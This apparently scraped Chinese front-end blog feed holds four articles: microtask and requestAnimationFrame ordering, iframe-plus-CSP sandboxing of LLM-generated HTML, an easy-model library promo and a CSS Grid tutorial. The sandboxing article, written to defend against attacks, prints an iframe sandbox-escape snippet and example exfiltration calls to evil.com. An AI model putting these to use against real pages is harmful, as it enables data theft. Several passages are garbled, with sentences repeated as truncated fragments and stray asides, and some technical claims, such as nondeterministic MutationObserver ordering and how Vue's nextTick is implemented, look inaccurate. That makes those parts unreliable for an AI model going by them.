普通视图

发现新文章,点击刷新页面。
今天 — 2026年3月15日技术

从一个 `console.log` 顺序翻车说起,聊聊微任务那些糟心事

2026年3月15日 12:46

从一个 console.log 顺序翻车说起,聊聊微任务那些糟心事

Promise.resolve().then(() => console.log('promise'))
queueMicrotask(() => console.log('microtask'))

const observer = new MutationObserver(() => console.log('mutation'))
const node = document.createTextNode('')
observer.observe(node, { characterData: true })
node.data = '1'

console.log('sync')

你猜输出啥?sync 先出来,没毛病,同步代码嘛。然后 promisemicrotaskmutation——这个等下再说,对吧?跑一下 Chrome。

没问题。

再跑一次。

sync
mutation
promise
microtask

坏了。MutationObserver 跑前面去了,你写代码的顺序根本不算数,入队时机才是爹。

同一个队列,不同的入队姿势

讲道理,我翻过不少事件循环的文章,十篇有八篇把 Promise.thenqueueMicrotaskMutationObserver 往"微任务"这个筐里一扔就完事了,说它们优先级一样。对吗?对。有用吗?没用。优先级一样但入队时机天差地别,最终谁先跑完全是另一码事。

queueMicrotask(fn) 最老实——你调用的那一瞬间 fn 就塞进微任务队列了,没有中间商赚差价,没有任何包装层,一步到位。Promise.resolve().then(fn) 差不多,因为这个 Promise 已经是 resolved 状态了,.then 执行的时候 fn 也是立刻入队,但它多走了一层 PromiseReactionJob 的内部机制,比 queueMicrotask 慢那么一丢丢。所以这俩的顺序基本就是你写代码的顺序,稳得一批。

MutationObserver 的话?不一样。

它的回调入队时机取决于浏览器把 DOM 变更"收集"完毕的时间点——浏览器会在同一个微任务检查点(microtask checkpoint)触发前,把这段时间内攒起来的所有 DOM 变更打包,然后才把 MutationObserver 的回调作为微任务丢进队列。就这个"攒"的动作,导致了时序上的不确定性,你没法拿看代码顺序来推断它什么时候入队(听起来很合理对吧,但是)。

// 这段的顺序是确定的
queueMicrotask(() => console.log('A'))  // 调用瞬间入队
Promise.resolve().then(() => console.log('B'))  // 也是立刻,但多了一层包装
// 永远 A → B

坦白说 V8 源码里 queueMicrotask 走的是 EnqueueMicrotask 这条更短的路径,而 Promise.then 要经过 NewPromiseReactionJobTask 再绕一圈才入队。别问我怎么知道的。

说到这里我自己都有点绕了。

这也解释了 Vue 的 nextTick 演变史:Vue 2 最早用 MutationObserver,时序不稳,后来换成 Promise.then,到 Vue 3 干脆用 queueMicrotask 打底。越直接越可控,就这么简单。

requestAnimationFrame 压根不是任务,它是渲染管线的一部分

这块是重灾区。

我见过无数事件循环示意图,把 rAF 画在宏任务和微任务旁边,搞一个所谓的"rAF 队列"。

来看一段会让你抓狂的代码:

document.querySelector('.box').style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  document.querySelector('.box').style.transform = 'translateX(100px)'
})

你以为会看到元素从 0px 平滑过渡到 100px 的动画?实际效果:元素直接出现在 100px 的位置,没有任何过渡。怎么回事?因为第一行的样式修改和 rAF 回调里的修改都在同一帧被处理了,浏览器把它们合并成一次渲染,中间根本没有产生过一帧"元素在 0px"的画面。

修复方案有两个。一是"双 rAF"技巧:

box.style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  // 第一个 rAF:确保 0px 这个值被渲染出去了
  requestAnimationFrame(() => {
    // 第二个 rAF:下一帧再改成 100px
    box.style.transform = 'translateX(100px)'
  })
})

二是用 getComputedStyle(box).transform 强制触发一次同步重排,逼浏览器把第一次修改"落地"。但这招有代价——同步布局计算在列表场景下会直接把帧率干到个位数,getComputedStyle 不是免费的午餐。

那浏览器事件循环一轮的真实顺序到底是啥?把渲染管线也画进来的话:

  1. 取一个宏任务跑完(setTimeout 回调、MessageChannel、用户点击事件之类的)
  2. 清空微任务队列,Promise.thenqueueMicrotaskMutationObserver 全在这一步
  3. 浏览器判断:需要渲染吗?不一定。屏幕 60Hz 的话大约 16.6ms 一帧,你要是 1ms 内连着跑了 10 个 setTimeout(fn, 0),大概率这 10 个宏任务全跑完了才渲染一次
  4. 如果要渲染——进入渲染阶段:跑 rAF 回调,算样式,跑布局,绘制,合成

反正大概是这么个意思。

注意第 3 步那个"不一定"。这就是为什么你不能拿 rAF 当"尽快执行"用,它的实际延迟可能比 setTimeout(fn, 0) 还大(听起来很合理对吧,但是)。React 的 scheduler 选了 MessageChannel 而不是 rAF,原因就在这——React 要的是"尽快切到下一个任务切片",不是"等到下一次渲染前"。

混在一起用的时候,地狱开始了

虚拟滚动列表。滚动事件触发后你要干三件事:算可视区域、改 DOM、等渲染完拿新 DOM 的高度。三步,三种调度策略。搞混一个直接白屏。

onScroll = (event) => {
  // 同步算可视范围,这步没争议
  const visibleRange = calcRange(event.scrollTop)

  // 微任务里批量更新 DOM——为什么?
  // 因为要赶在当前帧渲染前把 DOM 改好
  queueMicrotask(() => {
    updateDOM(visibleRange)

    // 等渲染完测量高度,用 rAF?
    // 坑来了
    requestAnimationFrame(() => {
      // rAF 跑在渲染阶段开头,布局还没算呢
      // 你拿到的高度是上一帧的

      requestAnimationFrame(() => {
        const heights = measureHeights()  // 这里才安全
      })
    })
  })
}

rAF 的回调跑在渲染流水线的最前面,在样式计算和布局之前,你在 rAF 里读 offsetHeight 之类的值,拿到的可能是旧的。又是双 rAF——第一个保证 DOM 更新进了渲染管线,第二个在下一帧拿上一帧的布局结果。

嗯,继续。

怎么说呢,这个调度模型其实一句话就能讲完:微任务在当前宏任务结束后渲染前清空,rAF 在渲染阶段开头跑,渲染整完后想做事没有原生 API,要么双 rAF 要么 ResizeObserver

但还有更绕的。rAF 回调里能不能产生微任务?能。

requestAnimationFrame(() => {
  console.log('rAF-1')
  queueMicrotask(() => console.log('micro-in-rAF'))
})

requestAnimationFrame(() => {
  console.log('rAF-2')
})
// 输出:rAF-1 → micro-in-rAF → rAF-2

每个 rAF 回调执行完后浏览器都会检查微任务队列并清空,跟宏任务结束后清空微任务是同一套逻辑——每个可执行上下文结束时都有一个 microtask checkpoint,rAF 回调也算一个可执行上下文,所以在 rAFqueueMicrotask 是安全的。

嗯,继续。

那在 rAF 回调里再调一次 requestAnimationFrame 注册的新回调会在当前帧跑吗?不会。规范写得很清楚:每帧开始时浏览器会对当前已注册的 rAF 回调列表做一次快照,只跑快照里的,执行期间新注册的推到下一帧。双 rAF 能保证跨帧不是 hack,是规范行为。

ResizeObserver 的调度时机更绕——卡在布局之后绘制之前,还可能触发二次 re-layout。够呛。这个回头单独写。

把 LLM 吐出来的组件扔进 `iframe` 跑:沙箱隔离这件事没你想的那么简单

2026年3月15日 12:46

把 LLM 吐出来的组件扔进 iframe 跑:沙箱隔离这件事没你想的那么简单

dangerouslySetInnerHTML 直接把 AI 返回的 HTML 糊到页面上——你干过没?

干过。去年接手一个 AI 生成 UI 的项目,前任同事就是这么搞的,GPT 返回一段 <div><style><script>,直接往 DOM 里一塞。能跑就行嘛。跑是能跑,直到有一天 AI 返回了一段代码里面带了 document.cookie,紧接着又带了一个 fetch 往外发请求,安全团队的告警邮件半夜三点把我叫醒了。不想再体验第二次。

早知道就老老实实做沙箱。

这篇聊的就是这件事:LLM 输出的组件代码怎么在浏览器里安全跑起来,核心方案是 iframe 配合 Content-Security-Policy,再加上错误边界兜底。不是什么新技术。但组合起来的坑比想象中多得多得多。

iframe sandbox:看起来一行属性就搞定,实际全是取舍

先说基础的。

<iframe sandbox> 这个属性加上之后,浏览器会给 iframe 里的内容套一层限制——不能执行脚本、不能提交表单、不能用 top.location 跳转、不能弹窗。听起来很美。但问题来了,AI 生成的 UI 组件十有八九需要跑 JavaScript,你总不能让 GPT 只吐静态 HTML 吧,那还不如直接用 markdown-it 渲染算了。所以你得把 allow-scripts 加回来:

<iframe
  sandbox="allow-scripts"
  srcdoc="..."
  style="width:100%;height:400px;border:none;"
></iframe>

就这一行。事情开始变复杂了。

allow-scripts 打开之后 iframe 里的代码能跑 JS 了,但它仍然拿不到父页面的 DOM,因为 sandbox 默认会把 iframe 的 origin 设成 null,天然跨域。好事。但"拿不到父页面 DOM"和"完全安全"之间差了十万八千里,iframe 里的脚本照样能发 fetch 请求、能用 WebSocketlocalStorage 倒是默认禁用的,除非你加了 allow-same-origin

等等。千万别加这个。

allow-scripts + allow-same-origin:灾难组合

我踩过的最狠的坑就是这俩同时开。

这俩一起开会怎样?iframe 里的脚本既能跑 JS,又和父页面同源。那它就能做一件事情:

// iframe 内部的恶意代码
const frame = window.frameElement;
frame.removeAttribute('sandbox');
// sandbox 没了,所有限制解除,可以为所欲为

完了。iframe 里的代码直接把自己的 sandbox 属性删掉,reload 一下,所有限制全部消失。这不是理论攻击,MDN 上都写了——但谁看 MDN 啊。别问。

所以第一条铁律:allow-scriptsallow-same-origin 永远不能同时出现。

不加 allow-same-origin 有啥副作用?iframe 里的代码没法用 localStoragesessionStorageIndexedDB,也没法用 cookie。说到 AI 生成的预览组件来说问题不大——你又不是要在预览里做持久化。但有一个比较烦的事:有些第三方库比如某些版本的 axios 初始化时会读 localStorage,读不到直接抛异常。这个后面错误边界那节再说。

怎么说呢,sandbox 属性的配置我前后改了不下十次,最后稳定下来的版本:

sandbox 权限选择流程:

需要跑 JS 吗?
├── 否 → sandbox(啥都不加,最安全)
└── 是 → sandbox="allow-scripts"
         ↓
    需要提交表单吗?
    ├── 否 → 保持 allow-scripts
    └── 是 → allow-scripts allow-forms
              ↓
         需要弹窗(window.open)吗?
         ├── 否 → 到此为止
         └── 是 → 加 allow-popups
                   (但要想清楚,真的需要吗?)

 永远不加:allow-same-origin(和 allow-scripts 同时)
 永远不加:allow-top-navigation(防止跳转劫持)

光靠 sandbox 还不够。管不了网络请求。iframe 里的脚本照样能 fetch('https://evil.com') 往外发数据。不对,应该说是me 里的脚本照样能 fetch('https://evil.com') 往外发数据(说起来都是泪)。这就是为什么需要 CSP。

CSP 怎么配才能把网络请求锁死

Content-Security-Policy 注入到 iframe 里有两种方式:HTTP 响应头,或者 <meta> 标签。我们用的是 srcdoc,没有 HTTP 响应这回事,所以只能走 <meta http-equiv="Content-Security-Policy">

function wrapWithCSP(htmlFromLLM) {
  const csp = [
    "default-src 'none'",
    "script-src 'unsafe-inline'",
    "style-src 'unsafe-inline'",
    "img-src data: blob:",
  ].join('; ');

  return `
    <!DOCTYPE html>
    <html>
    <head>
      <meta http-equiv="Content-Security-Policy" content="${csp}">
    </head>
    <body>${htmlFromLLM}</body>
    </html>
  `;
}

看到 script-src 'unsafe-inline' 是不是慌了?

别慌。正常 Web 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。嗯……也不完全是,eb 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。但我们这个场景不一样——iframe 里所有的代码都是内联的,AI 吐出来的就是一坨 HTML 字符串,不存在"可信脚本"和"不可信脚本"的区分,全部不可信,安全边界在 iframe 的 sandbox 和 CSP 的网络限制上,不在脚本来源上。

我也想过用 nonce 或者 sha256-hash 来限制。

坦白说有个细节我当时查了半天:connect-src 不配的话会不会 fallback 到 default-src?答案是会的。default-src'none',所以效果一样。但我建议显式写上,代码即文档嘛:

const csp = [
  "default-src 'none'",
  "script-src 'unsafe-inline'",
  "style-src 'unsafe-inline'",
  "img-src data: blob:",
  "connect-src 'none'",  // 显式禁止 fetch/XHR/WebSocket
  "font-src 'none'",
].join('; ');

这样配完之后,iframe 里的代码跑 fetch('https://evil.com/steal?data=xxx') 浏览器直接拦截,控制台打一条 CSP violation 的报错。安全团队不会再半夜打电话了。

但事情没完。

AI 生成的代码要加载 CDN 上的库怎么办

这个场景我一开始压根没想到。

两条路。

第一条,白名单:

script-src 'unsafe-inline' https://cdn.jsdelivr.net https://unpkg.com

能用。

第二条路,也是我最后选的——在父页面做预处理,把外部 <script src="..."> 的内容提前下载好,以内联方式塞回 srcdoc

LLM 输出的原始 HTML
        ↓
   预处理(父页面)
   ├── 扫描 <script src="...">
   ├── 下载脚本内容(白名单校验 URL)
   ├── 转为 <script>内联代码</script>
   └── 扫描 <link href="..."> 同理处理
        ↓
   组装 srcdoc(注入 CSP meta)
        ↓
   塞进 <iframe sandbox="allow-scripts">

CSP 保持最严格配置,不用开任何外部域名(虽然官方文档不是这么说的)。代价是多了一步预处理,但这步本身也是个安全检查点,你可以在这里做恶意代码扫描、Content-Length 大小限制、依赖白名单校验,一举多得(虽然官方文档不是这么说的)。

反正大概是这么个意思。

这套预处理的逻辑写起来比想象中复杂。光是处理 <script> 标签的各种写法——有 type="module" 的、有 async 的、有 defer 的、还有写在 <head><body> 不同位置的——就糊了大概两百行,一半正则一半 DOMParser。一次性工作。写完不用动了。

写到这里突然觉得之前说的不太对。

还有个容易忽略的点。<style> 里面的 @import url(...)background: url(...) 也能发网络请求。能跑。style-src 'unsafe-inline' 只允许内联样式,@import 加载外部 CSS 这个行为被 default-src 'none' 兜住了。但 background-image: url(data:image/png;base64,...) 是可以的,因为 img-src 放了 data:。这些边角情况不翻 W3C 的 CSP spec 真想不到。

错误边界:AI 生成的代码炸了怎么办

重要。但不复杂。

AI 生成的代码质量不可预测。SyntaxError 都能有,更别提运行时错误了——访问 undefined 的属性、死循环、内存爆了。啥都可能。

好吧这个问题比我想的复杂。

iframe 天然就是进程级别的隔离,大多数现代浏览器里跨域 iframe 跑在独立渲染进程中,所以 iframe 里的代码就算 while(true){} 了也不会卡死父页面。免费的好处。但你得有办法检测到"这个 iframe 炸了"然后给用户反馈。

我的做法是在 srcdoc 里注入一段监控脚本,这段脚本在 AI 生成的代码之前执行:

<script>
window.addEventListener('error', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno
  }, '*');
});

window.addEventListener('unhandledrejection', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.reason?.message || String(e.reason)
  }, '*');
});

// 5秒内没渲染完就认为卡了
var __renderTimer = setTimeout(function() {
  parent.postMessage({
    type: '__sandbox_timeout__',
    message: 'Render timeout after 5000ms'
  }, '*');
}, 5000);

window.__notifyRenderComplete = function() {
  clearTimeout(__renderTimer);
  parent.postMessage({ type: '__sandbox_ready__' }, '*');
};
</script>

父页面监听 message 事件(听起来很合理对吧,但是)。有个坑:postMessage 第二个参数写的 '*',因为 sandbox 下 iframe 的 origin 是 null,没法指定具体 targetOrigin。那父页面监听的时候必须做来源校验,用 event.source 判断:

const iframeRef = useRef(null);

useEffect(() => {
  function handleMessage(event) {
    if (event.source !== iframeRef.current?.contentWindow) return;

    switch (event.data?.type) {
      case '__sandbox_error__':
        setError(event.data.message);
        break;
      case '__sandbox_timeout__':
        setError('组件渲染超时');
        break;
      case '__sandbox_ready__':
        setLoading(false);
        break;
    }
  }
  window.addEventListener('message', handleMessage);
  return () => window.removeEventListener('message', handleMessage);
}, []);

跑起来还行。

但有个问题始终没完美解决。死循环。

while(true){} 这种同步死循环会卡死 iframe 的 JS 线程,setTimeout 的超时回调根本没机会执行,因为事件循环被堵死了。postMessage 发不出去,父页面啥也收不到。只能在父页面设一个外部定时器——5 秒内没收到 __sandbox_ready__ 就认为挂了:

useEffect(() => {
  if (!loading) return;
  const timer = setTimeout(() => {
    setError('渲染超时,可能存在死循环');
    if (iframeRef.current) {
      iframeRef.current.srcdoc = '';
    }
  }, 5000);
  return () => clearTimeout(timer);
}, [loading]);

srcdoc 设成空字符串可以终止 iframe 里的执行。iframe.contentWindow.stop() 在跨域 sandbox 下调不了。够用了。不优雅。但够用了。

还有一类错误比较棘手。

try { localStorage } catch(e) {
  window.localStorage = {
    getItem: () => null,
    setItem: () => {},
    removeItem: () => {},
    clear: () => {},
    length: 0
  };
}

粗暴。有效。有些库初始化的时候检测 window.localStorage 是否存在来决定用不用持久化——mock 之后它就走内存 fallback 了,比如 zustandpersist 中间件就是这个逻辑。

父子通信和动态尺寸

快速过。

iframe 高度自适应是老生常谈的问题,sandbox 场景下一样躲不掉。

new ResizeObserver(entries => {
  const height = entries[0].target.scrollHeight;
  parent.postMessage({
    type: '__sandbox_resize__',
    height: height
  }, '*');
}).observe(document.body);

父页面收到消息后更新 iframe 的 style.heightResizeObserver 在 sandbox 下能不能用?能。它是纯观察型 API,不涉及安全敏感操作,不在 sandbox 的限制清单里(别问我怎么知道的)。

父页面往 iframe 传数据也是 postMessage,传主题色、prefers-color-scheme 之类的。注意序列化问题就行——postMessage 走结构化克隆算法,函数、DOM 节点、Symbol 传不了。大部分场景一个 JSON.stringify 能覆盖的对象就够了。

如果 iframe 里的组件需要"调用"父页面的能力,比如打开 modal、跳转 react-router 的路由,可以搞一套 RPC:

iframe → 父页面:  { type: 'rpc_call', id: 'abc', method: 'openModal', params: {...} }
                          ↓
                  校验 method 白名单 → 执行 → 拿到结果
                          ↓
父页面 → iframe:  { type: 'rpc_result', id: 'abc', result: ... }
                          ↓
                  iframe 侧 resolve 对应 Promise

二十行代码的事。核心就是 method 白名单,iframe 能调用的方法必须预定义好,不能让它随便调 window.open 或者操作 history

最后一个不大不小的坑。

srcdoc 的内容如果包含 </script> 这个字符串——哪怕是嵌在 JS 的字符串字面量里——浏览器也会提前闭合 <script> 标签,整个 HTML 解析全乱。预处理时记得转义,把 </script> 替换成 <\/script>。这个坑我调了半天,AI 生成的代码里恰好有一句 el.innerHTML = '<script>...</script>',然后 srcdoc 就炸了。血的教训。


这套方案跑了差不多半年。扛住了各种离谱的 AI 输出——有返回完整 <!DOCTYPE html> 文档结构的、有在 <style> 里写 * { display: none !important } 把自己藏起来的、有 console.log 循环打了几万行把 DevTools 搞崩的。sandbox 保护下这些东西都只能在 iframe 里折腾,影响不到父页面的 document,也发不出任何网络请求。

说白了嘛,就是给 AI 输出画了个圈。圈里随便蹦跶,出不去就行。半年下来最大的感受是,安全这东西不怕方案土,怕的是你觉得"应该没事吧"然后就真没管。

easy-model:简化领域驱动开发的理想选择

作者 张一凡93
2026年3月15日 11:49

在现代前端开发中,领域驱动设计(DDD)正成为越来越多项目的首选。easy-model 框架以其独特的模型驱动架构,为开发者提供了便捷的 DDD 实现途径。本文将重点介绍 easy-model 如何助力领域驱动开发、提升可测试性,并保持简单易用。

领域驱动开发的便捷实现

easy-model 的核心在于模型类封装。每个模型类代表一个业务领域,内部封装状态和逻辑,避免了传统状态管理的分散。这种设计让业务逻辑集中,易于理解和维护,完美契合 DDD 的理念。

import { useModel } from "easy-model";

class UserDomain {
  user = { id: "", name: "", email: "" };
  constructor(initialUser = { id: "", name: "", email: "" }) {
    this.user = initialUser;
  }

  updateUser(newUser: typeof this.user) {
    this.user = { ...this.user, ...newUser };
  }

  validateEmail() {
    return this.user.email.includes("@");
  }
}

function UserComponent() {
  const userDomain = useModel(UserDomain, [{ id: "1", name: "张三", email: "zhangsan@example.com" }]);

  return (
    <div>
      <h2>{userDomain.user.name}</h2>
      <p>邮箱有效: {userDomain.validateEmail() ? "是" : "否"}</p>
      <button onClick={() => userDomain.updateUser({ name: "李四" })}>
        更新姓名
      </button>
    </div>
  );
}

通过 useModel,组件直接创建并订阅模型实例。模型类的方法封装业务逻辑,如验证和更新,确保领域知识内聚。相比 Redux 的 action/reducer 分离,easy-model 更贴近 OOP 思维。

卓越的可测试性

模型类作为纯逻辑单元,便于单元测试,无需复杂 mocking。

import { describe, it, expect } from "vitest";
import { provide } from "@e7w/easy-model";

describe("UserDomain", () => {
  it("should validate email correctly", () => {
    const model = provide(UserDomain)({
      id: "1",
      name: "Test",
      email: "test@example.com",
    });
    expect(model.validateEmail()).toBe(true);

    model.updateUser({ email: "invalid" });
    expect(model.validateEmail()).toBe(false);
  });

  it("should update user", () => {
    const model = provide(UserDomain)({
      id: "1",
      name: "Old",
      email: "old@example.com",
    });
    model.updateUser({ name: "New" });
    expect(model.user.name).toBe("New");
  });
});

框架的实例缓存机制(provide)允许按参数分组,确保测试隔离。依赖注入通过 inject 装饰器和容器配置,支持 mock 替换,提升集成测试效率。

简单易用的开发体验

easy-model 摒弃复杂配置,安装即用。严格 TypeScript 模式确保类型安全,无需担心运行时错误。API 设计简洁,仅需几个钩子即可上手。

React 集成无缝:

import { useModel, useWatcher } from "easy-model";

function CounterComponent() {
  const counter = useModel(CounterModel, [0, "计数器"]);

  useWatcher(counter, (keys, prev, next) => {
    console.log(`字段 ${keys.join(".")}${prev} 变为 ${next}`);
  });

  return (
    <div>
      <h2>{counter.label}</h2>
      <div>{counter.count}</div>
      <button onClick={() => counter.decrement()}>-</button>
      <button onClick={() => counter.increment()}>+</button>
    </div>
  );
}

异步操作使用 @loader.load 装饰器,useLoader 钩子查询状态,简化加载处理。@offWatch 优化性能,避免不必要的监听。跨组件共享通过 provideuseInstance 实现。

性能与扩展性

easy-model 使用 Proxy 实现深层变更监听,支持嵌套对象和引用关系变化。watch 函数允许非 React 环境监听,useWatcher 处理组件副作用。IoC 容器支持 namespace 隔离,便于大型应用管理。

相比 Redux/MobX,easy-model 减少 boilerplate,提升开发效率。Benchmark 示例显示其在性能上具备竞争力。

总结

easy-model 以模型为中心,完美支持领域驱动开发。其类封装设计提升可测试性,简洁 API 保证易用性。无论是小型项目还是复杂应用,都能显著提升开发效率。

立即试用 easy-model,体验更优雅的前端开发!项目地址:GitHub

Grid 网格布局:二维世界的布局王者,像下围棋一样掌控页面

作者 kyriewen
2026年3月15日 11:22

如果说Flexbox是“一维战神”,擅长排排坐,那Grid就是“二维霸主”,能同时操控行和列。今天我们就来下这盘“布局围棋”,用网格思想彻底重构网页,让复杂布局变得像填格子一样简单。

前言

还记得小时候玩的方格本吗?一行一行,一列一列,规规矩矩。Grid布局就是把这种“方格本”思维带到了CSS里。你可以在页面上画出任意行、任意列,然后把元素放进去,想放哪格放哪格,甚至可以合并单元格——就像Excel表格,但比Excel灵活一万倍。

Grid是CSS布局的终极武器,尤其适合做页面整体架构、卡片墙、仪表盘这类需要同时控制行和列的场景。如果说Flexbox是特种兵,擅长单兵作战,那Grid就是指挥官,能调动千军万马。

一、Grid的核心概念:容器与项目,行与列

和Flexbox类似,Grid也是作用于父容器和直接子项目。只要在父元素上设置display: griddisplay: inline-grid,你就开启了一个网格世界。

.container {
  display: grid;
}

默认情况下,网格只有一列,行高由内容决定。要真正“画”出网格,你需要用grid-template-rowsgrid-template-columns定义行和列。

二、定义网格:画出你的棋盘

1. 固定行高和列宽

你可以用各种单位定义行列的尺寸,比如像素、百分比、em等。

.container {
  display: grid;
  grid-template-columns: 200px 200px 200px;  /* 三列,每列200px */
  grid-template-rows: 100px 150px;           /* 两行,第一行100px,第二行150px */
}

这样你就画了一个3列2行的网格,一共6个格子。项目会按顺序自动填充每个格子,就像表格里从左到右、从上到下填数据一样。

2. fr单位:分蛋糕神器

Grid引入了fr单位(fraction的缩写),表示剩余空间的比例分配。这比Flexbox的flex-grow更直观。

.container {
  display: grid;
  grid-template-columns: 1fr 2fr 1fr;  /* 三列,中间占两份,两边各占一份 */
}

如果父容器宽度是1200px,那么第一列占300px,第二列600px,第三列300px。fr可以和固定单位混用,比如200px 1fr 2fr,浏览器会先分配200px,剩下的按比例分。

3. repeat() 函数:偷懒必备

如果你要定义很多等宽的列,手动写很累。repeat()函数来救场。

.container {
  grid-template-columns: repeat(3, 1fr);  /* 三列等宽,相当于 1fr 1fr 1fr */
  grid-template-rows: repeat(4, 100px);   /* 四行,每行100px */
}

repeat()还可以组合不同模式,比如repeat(2, 100px 1fr)表示重复两次“100px 1fr”的序列,最终得到四列:100px、1fr、100px、1fr。

4. minmax():给尺寸一个范围

有时候我们希望列宽能在一定范围内弹性变化,比如最小200px,最大自适应。minmax()搞定。

.container {
  grid-template-columns: minmax(200px, 1fr) 2fr;  /* 第一列最小200px,可以放大到1fr,第二列固定2fr */
}

5. auto-fill 与 auto-fit:响应式利器

当列数不确定时,可以用auto-fillauto-fit配合minmax实现类似“流动布局”的效果。

  • auto-fill:尽可能多地填充列,即使某些列是空的。
  • auto-fit:也是尽可能多地填充,但会把空列收缩为0,让有内容的列伸展。
.container {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
}

这段代码的意思是:每列最小200px,如果容器足够宽,就放尽可能多的列,并且每列等宽;当容器变窄时,列数自动减少,每列仍不小于200px。这就是纯CSS实现的响应式卡片墙!

三、网格线:定位的坐标系

每个网格都由网格线划分。比如3列有4条纵向网格线(从1开始编号),2行有3条横向网格线。你可以用这些线来精确放置项目。

.item {
  grid-column-start: 1;
  grid-column-end: 3;   /* 从第1条纵向线跨到第3条线,即占据前两列 */
  grid-row-start: 1;
  grid-row-end: 3;      /* 从第1条横向线跨到第3条线,即占据前两行 */
}

简写为:

.item {
  grid-column: 1 / 3;
  grid-row: 1 / 3;
}

也可以从哪条线开始,并指定跨度:

.item {
  grid-column: 1 / span 2;  /* 从第1列开始,跨2列,等同于1/3 */
  grid-row: 1 / span 2;
}

网格线也可以命名,比如grid-template-columns: [main-start] 1fr [main-end],然后使用命名来定位。

四、网格区域:给格子起名字

如果你觉得用线编号不够直观,可以给网格区域命名。用grid-template-areas属性来划分区域。

.container {
  display: grid;
  grid-template-columns: 200px 1fr 200px;
  grid-template-rows: 100px 1fr 100px;
  grid-template-areas:
    "header header header"
    "sidebar content aside"
    "footer footer footer";
}
.header {
  grid-area: header;
}
.sidebar {
  grid-area: sidebar;
}
.content {
  grid-area: content;
}
.aside {
  grid-area: aside;
}
.footer {
  grid-area: footer;
}

这个布局清晰得像图纸一样,每个区域的名字直接对应一个网格单元格。注意,grid-template-areas里的每个单元格必须填满,不能有空洞;可以用.表示空单元格。

五、间距与对齐:让网格透气

1. 行列间距

gap属性设置网格线之间的间距,可以分别设置行间距和列间距:

.container {
  gap: 20px;            /* 行列间距都是20px */
  row-gap: 10px;        /* 单独设置行间距 */
  column-gap: 15px;     /* 单独设置列间距 */
}

2. 项目在单元格内的对齐

项目默认填满整个单元格,但你可以控制它们的位置。

  • justify-items:控制项目在单元格内水平方向的对齐(左中右)。
  • align-items:控制项目在单元格内垂直方向的对齐(上中下)。
  • 取值:startendcenterstretch(默认)。
.container {
  justify-items: center;   /* 所有项目水平居中 */
  align-items: center;     /* 所有项目垂直居中 */
}

如果想单独控制某个项目,用justify-selfalign-self

3. 整个网格在容器内的对齐

如果网格的总尺寸小于容器,可以用justify-contentalign-content控制网格整体的对齐,类似于Flexbox。

.container {
  justify-content: center;   /* 网格整体水平居中 */
  align-content: center;     /* 网格整体垂直居中 */
}

取值同样是startendcenterspace-betweenspace-aroundspace-evenly

六、实战:用Grid搭建常见布局

1. 经典三栏布局(圣杯)

.container {
  display: grid;
  grid-template-columns: 200px 1fr 200px;
  gap: 20px;
}

就这么简单,三栏就出来了,而且中间自适应。

2. 响应式卡片墙

我们希望卡片最小200px,尽量填满容器,而且自动换行。

.container {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
  gap: 20px;
}

无论容器多宽,卡片都会自动调整列数,完美响应式。

3. 不规则布局:杂志风格

比如一个封面图占两列,下方三个卡片各占一列。

<div class="magazine">
  <div class="feature">封面大图</div>
  <div class="card">卡片1</div>
  <div class="card">卡片2</div>
  <div class="card">卡片3</div>
</div>
.magazine {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 20px;
}
.feature {
  grid-column: 1 / -1;  /* 从第一列线到最后一列线,即占满整行 */
}

-1表示最后一条网格线,很方便。

4. 后台管理仪表盘

后台常有复杂区域划分,用grid-template-areas最合适。

.dashboard {
  display: grid;
  grid-template-columns: 250px 1fr 300px;
  grid-template-rows: 80px 1fr 60px;
  grid-template-areas:
    "header header header"
    "sidebar main widgets"
    "footer footer footer";
  height: 100vh;
}

各区域对号入座,结构一目了然。

5. 叠加效果

Grid还可以让多个元素重叠。通过给它们设置相同的网格区域,然后利用z-index控制层级。

.container {
  display: grid;
  grid-template-columns: 1fr 1fr;
}
.item1 {
  grid-area: 1 / 1 / 2 / 3;  /* 占满整行 */
  background: red;
  z-index: 1;
}
.item2 {
  grid-area: 1 / 2 / 2 / 3;  /* 只占第二列 */
  background: blue;
  opacity: 0.5;
  z-index: 2;  /* 显示在上层 */
}

七、Grid vs Flexbox:怎么选?

很多人纠结什么时候用Grid,什么时候用Flexbox。其实很简单:

  • Flexbox:一维布局,适合控制元素在一条线上的排列(导航、按钮组、等分列表)。
  • Grid:二维布局,适合同时控制行和列(页面整体架构、卡片墙、仪表盘)。

它们不是替代关系,而是配合关系。你可以在Grid单元格里用Flexbox排列内部元素,也可以把Flexbox项目里再嵌套Grid。两者结合,天下无敌。

八、常见坑点与避坑指南

1. 默认不是严格的一行一列

如果只设置display: grid而不定义行列,默认只有一列,行数由项目数量决定(每个项目占一行)。所以一定要定义行列。

2. 项目会自动填充,但可能超出网格

如果项目数量超过网格单元格,会自动创建隐式网格(新行),行高默认auto。你可以用grid-auto-rows控制隐式行的高度。

.container {
  grid-auto-rows: 100px;  /* 隐式创建的行高100px */
}

3. fr 和 minmax 结合时注意死循环

minmax(200px, 1fr)的意思是:优先让列宽为1fr,但不会小于200px。这通常没问题,但如果你把所有列都设成这样,且容器总宽度小于列数*200px,就会出现溢出(因为每列都强制不小于200px)。这时可以改用auto-fitminmax的巧妙组合,或者用max-width限制。

4. gap 会占用 fr 空间

间隙是在分配fr之前扣除的。比如三列1fr,gap 20px,那么每列实际宽度 = (容器宽度 - 40px) / 3。所以计算时要考虑间隙。

5. 网格线编号从1开始,不是0

这个容易搞错。不过可以用-1表示最后一条线,比较方便。

九、总结

Grid布局是CSS给前端开发者的一份大礼,它把网页布局变成了一种直观、可预测的体验。核心要点:

  • grid-template-columnsgrid-template-rows定义网格结构。
  • frrepeat()minmax()灵活控制尺寸。
  • grid-column/grid-rowgrid-area放置项目。
  • gap控制间距,用justify/align控制对齐。
  • auto-fitminmax实现响应式。
  • 复杂布局用grid-template-areas命名,代码如设计图。

Grid不难,关键是多动手画格子。一旦你习惯了这种“下围棋”式的布局思维,你会发现以前那些棘手的布局都变成了填空题。

